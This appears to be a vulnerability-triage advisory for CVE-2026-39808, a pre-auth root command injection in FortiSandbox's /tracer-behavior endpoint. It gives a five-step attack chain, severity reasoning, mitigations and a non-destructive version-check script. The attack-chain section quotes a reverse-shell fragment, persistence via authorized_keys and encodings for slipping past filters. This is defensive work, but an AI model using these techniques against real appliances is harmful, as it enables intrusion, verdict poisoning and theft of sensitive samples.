The malware detonation chamber has its own unlocked back door
CVE-2026-39808 is an unauthenticated OS command injection in the FortiSandbox WEB UI/API, reachable through the tracer-behavior job-tracing endpoint. A single crafted HTTP GET request drops shell metacharacters into a system call that runs as root, yielding pre-auth RCE on the appliance itself. Affected: FortiSandbox 4.4.0 through 4.4.8 and FortiSandbox PaaS through 23.4.4374; fixed in 4.4.9 (and 5.0.3 on the 5.0 branch). CWE-78, disclosed 2026-04-14 via FG-IR-26-100.
Vendor severity of CRITICAL / 9.8 is accurate — and if anything conservative given the target. FortiSandbox is the detonation and verdict engine for suspicious files across the Fortinet stack; a rooted sandbox can lie about verdicts, exfiltrate submitted samples (which routinely contain customer secrets, phishing payloads, and IR artefacts), and pivot into FortiGate/FortiMail/FortiClient EMS via the trust relationships those products maintain with it. Public PoC is on GitHub (error-inside/CVE-2026-39808, 0xBlackash/CVE-2026-39808) and Qualys/Help Net Security confirm in-the-wild exploitation alongside CVE-2026-25089 and CVE-2026-39813.
5 steps from start to impact.
Locate an exposed FortiSandbox management interface
Server: xxxxxxxx-xxxxx fingerprint, favicon hash, TLS cert CN=FortiSandbox). Mgmt UI listens on TCP/443 by default. Many organizations expose the WEB UI to peer offices or to the internet for remote analyst review.- Network reachability to the FortiSandbox WEB UI (TCP/443)
- Target running 4.4.0–4.4.8 or PaaS ≤ 23.4.4374
- Best-practice deployments keep FortiSandbox on the internal management VLAN only
- Shodan shows a small public exposure (~hundreds of hosts) — most instances sit behind FortiGate
FortiSandbox banners will surface publicly reachable instances; Qualys QID and Tenable plugin available.Fire the pre-auth injection at /tracer-behavior
;, $( ), backticks) in a parameter the backend passes to a system() call unsanitized. No authentication cookie or CSRF token required. Public PoCs from error-inside and 0xBlackash on GitHub weaponize this in one request.- Reachable WEB UI from step 1
- Endpoint reachable pre-auth (default)
- None meaningful — the endpoint is exposed by default and validated PoCs exist
Execute arbitrary commands as root
bash -i >& /dev/tcp/…) or writes an SSH authorized_keys entry, then persists via the appliance's own cron or init scripts. FortiSandbox lacks the FortiOS restricted-shell containment that FortiGate has.- Successful injection from step 2
- Egress filtering from mgmt VLAN can slow C2 setup, but data staging on-box is trivial
Poison verdicts and harvest submitted samples
clean for attacker-controlled hashes — silently neutralizing every downstream FortiGate/FortiMail that consults this sandbox. They also exfiltrate the sample queue, which typically contains live phishing kits, credential-stealer configs, and (in IR shops) memory dumps and disk images from ongoing investigations.- Root on FortiSandbox from step 3
- None — this is the design purpose of the box, now inverted
Pivot into the Fortinet management fabric
/data/etc/ config stores and uses them to authenticate to those peers, potentially reaching FortiManager and the broader estate. This is where a compromised sandbox becomes a fleet-level incident.- Root from step 3
- FortiSandbox peered with other Fortinet devices (default in most Fortinet-heavy shops)
- Segmented mgmt networks with per-device auth reduce peer reachability
- Fortinet API tokens are per-device; each pivot needs its own auth reuse
The supporting signals.
| In-the-wild exploitation | Confirmed active exploitation per Qualys ThreatPROTECT and Help Net Security (June 2026), chained with CVE-2026-25089 and CVE-2026-39813 |
|---|---|
| KEV status | Not yet listed in CISA KEV as of 2026-07-17, but active exploitation evidence makes listing likely imminent |
| Public PoC | Two public PoCs: error-inside/CVE-2026-39808 and 0xBlackash/CVE-2026-39808; technical write-up by Parth Shukla at pinaka.sh |
| EPSS | 0.48668 — top ~2-3% of all CVEs; consistent with an unauth RCE with public exploit |
| CVSS vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H — network, no auth, no user interaction, full CIA compromise |
| Affected versions | FortiSandbox 4.4.0 – 4.4.8, FortiSandbox PaaS ≤ 23.4.4374, FortiSandbox Cloud (same code path) |
| Fixed versions | FortiSandbox 4.4.9 or later; 5.0.3 on the 5.0 branch; PaaS auto-updated by Fortinet |
| Vulnerable endpoint | /tracer-behavior job-tracing API endpoint — shell metacharacters passed unsanitized to system() |
| Exposure telemetry | Shodan surfaces low-hundreds of publicly reachable FortiSandbox WEB UIs; internal deployment count is much higher (10k+ enterprises) |
| Reporter | Fortinet PSIRT internal (advisory FG-IR-26-100); parallel work by Adham El Karn on the related FG-IR-26-141 |
noisgate verdict.
This is a pre-auth root RCE on a security appliance with a public PoC and observed exploitation — the single most decisive factor is the role multiplier: FortiSandbox is the verdict authority for the surrounding Fortinet fabric, so compromise means silent detection bypass for every peer. Even with limited public exposure, the floor is CRITICAL because ≥10% of installs occupy the canonical high-value role (this IS a security-fabric appliance by definition).
Why this verdict
- Pre-auth, one-shot RCE as root: no credentials, no user interaction, single HTTP request — attack complexity is as low as it gets.
- Role multiplier — security fabric appliance: FortiSandbox is the malware verdict engine peers trust. Chain succeeds → attacker poisons verdicts fleet-wide, harvests submitted samples (phishing kits, IR artefacts), and pivots to peered FortiGate/FortiMail via stored API tokens. Blast radius is fleet-scale on any Fortinet-heavy estate; the CRITICAL floor is set by the appliance role itself.
- Working PoC + observed exploitation: two GitHub repos with functional exploits and Qualys/Help Net Security reporting active abuse alongside CVE-2026-25089 and CVE-2026-39813 — this is not a theoretical bug.
- Friction is only partial: most FortiSandbox instances sit on internal mgmt VLANs (mitigates internet-facing exposure), but any foothold inside the perimeter reaches the appliance. That narrows initial-access population, not blast radius, so it moves the verdict from a 9.8 to a 9.3 — it does not break the floor.
Why not higher?
Public internet exposure is limited (low-hundreds of FortiSandbox instances on Shodan), so the truly-unauthenticated remote-from-anywhere population is smaller than a FortiGate SSL-VPN bug. That prevents a 10.0 worm scenario but does not reduce the severity for any organization that runs one.
Why not lower?
Downgrading to HIGH would require either (a) authentication being required, (b) the blast radius being confined to the appliance itself, or (c) no working exploit. None of those hold — it's pre-auth, the appliance is a security fabric hub with peer trust, and public PoCs work. The role multiplier alone floors this at CRITICAL.
What to do — in priority order.
- Restrict FortiSandbox WEB UI to a management jump-host ACL immediately — Deploy within the noisgate CRITICAL mitigation SLA (≤3 days). Configure
config system interfacetrusted-hosts on the mgmt interface to allow only jump-host and FortiAnalyzer IPs; block TCP/443 at the upstream FortiGate from all other sources. This kills the reachability precondition for the entire chain. - Block internet exposure at the perimeter — Within 24 hours: audit FortiGate policies and any NAT rules exposing FortiSandbox to WAN. There is no legitimate reason for the sandbox WEB UI to be internet-reachable. Confirm with an external port scan from a cloud host.
- Rotate all API tokens the FortiSandbox holds for peers — Within the 3-day mitigation window: assume tokens for FortiGate, FortiMail, FortiClient EMS, and FortiManager peers are already exfiltrated if the appliance was internet-reachable. Rotate them and audit peer auth logs since 2026-04-14.
- Upgrade to FortiSandbox 4.4.9 or 5.0.3 — Remediation deadline is the noisgate CRITICAL remediation SLA (≤90 days) — but given active exploitation, target ≤14 days. Patch is available via the standard firmware download portal; test in a lab given the sandbox's role in verdict chains, then roll production.
- Hunt for indicators of prior compromise — Immediately: review FortiSandbox
/var/log/httpd/access_logfor GETs to/tracer-behaviorwith shell metacharacters, cross-check verdicts on recent submissions against a second engine, and audit outbound connections from the sandbox mgmt IP for non-Fortinet destinations.
- Requiring authentication on the WEB UI — the bug is pre-auth; the vulnerable endpoint doesn't check the session cookie.
- WAF signatures for generic shell metacharacters — help against script-kiddie PoCs, bypassable via encoding (
%24%28…%29,${IFS}), not a durable control. - EDR on the appliance — FortiSandbox is a Fortinet-managed appliance OS, you cannot install third-party EDR.
- IPS on the FortiGate protecting the sandbox — helps if traffic transits the gate, but many deployments have the sandbox and admin subnet on the same L2, bypassing inspection.
Crowdsourced verification payload.
Run from an auditor workstation with network reachability to the FortiSandbox mgmt IP. Requires no credentials. Invoke as ./check-cve-2026-39808.sh 10.0.1.50 where the argument is the FortiSandbox WEB UI IP or hostname. Uses a safe version-banner probe — does not send the exploit payload.
#!/usr/bin/env bash
# check-cve-2026-39808.sh - Non-destructive check for FortiSandbox CVE-2026-39808
# Usage: ./check-cve-2026-39808.sh <host_or_ip>
# Exits 0=PATCHED, 1=VULNERABLE, 2=UNKNOWN
set -u
TARGET="${1:-}"
if [[ -z "$TARGET" ]]; then
echo "Usage: $0 <fortisandbox-host>" >&2
exit 2
fi
# Fetch login page — FortiSandbox exposes build/version in the HTML/JS bundle
RESP=$(curl -sk --max-time 10 "https://${TARGET}/" 2>/dev/null)
if [[ -z "$RESP" ]]; then
echo "UNKNOWN: no HTTPS response from ${TARGET}"
exit 2
fi
# Try to extract version string (format like 'v4.4.x-buildxxxx')
VER=$(echo "$RESP" | grep -oE 'v?[0-9]+\.[0-9]+\.[0-9]+' | head -1)
if [[ -z "$VER" ]]; then
# Fall back to /rest/v3/system/status if reachable
VER=$(curl -sk --max-time 10 "https://${TARGET}/rest/v3/system/status" \
| grep -oE '"version"[[:space:]]*:[[:space:]]*"[0-9.]+"' \
| grep -oE '[0-9]+\.[0-9]+\.[0-9]+' | head -1)
fi
if [[ -z "$VER" ]]; then
echo "UNKNOWN: could not determine FortiSandbox version on ${TARGET}"
exit 2
fi
VER=${VER#v}
IFS=. read -r MAJ MIN PATCH <<< "$VER"
# Vulnerable: 4.4.0 through 4.4.8 (fixed in 4.4.9); also 5.0.x < 5.0.3
if [[ "$MAJ" -eq 4 && "$MIN" -eq 4 && "$PATCH" -le 8 ]]; then
echo "VULNERABLE: FortiSandbox ${VER} on ${TARGET} (fix: 4.4.9)"
exit 1
fi
if [[ "$MAJ" -eq 5 && "$MIN" -eq 0 && "$PATCH" -lt 3 ]]; then
echo "VULNERABLE: FortiSandbox ${VER} on ${TARGET} (fix: 5.0.3)"
exit 1
fi
echo "PATCHED: FortiSandbox ${VER} on ${TARGET}"
exit 0
If you remember one thing.
/tracer-behavior requests with shell metacharacters going back to the April disclosure date. Assume breach on any instance that was ever internet-exposed.Sources
- Fortinet PSIRT FG-IR-26-100 advisory
- NVD — CVE-2026-39808
- Qualys ThreatPROTECT — active exploitation report
- Help Net Security — FortiSandbox exploitation
- Public PoC — error-inside/CVE-2026-39808
- Public PoC — 0xBlackash/CVE-2026-39808
- Parth Shukla technical write-up
- Field Effect — FortiSandbox critical fix roundup
What defenders are saying.
Crowdsourced verification outputs.
Results submitted by users who ran the verification payload against their environment.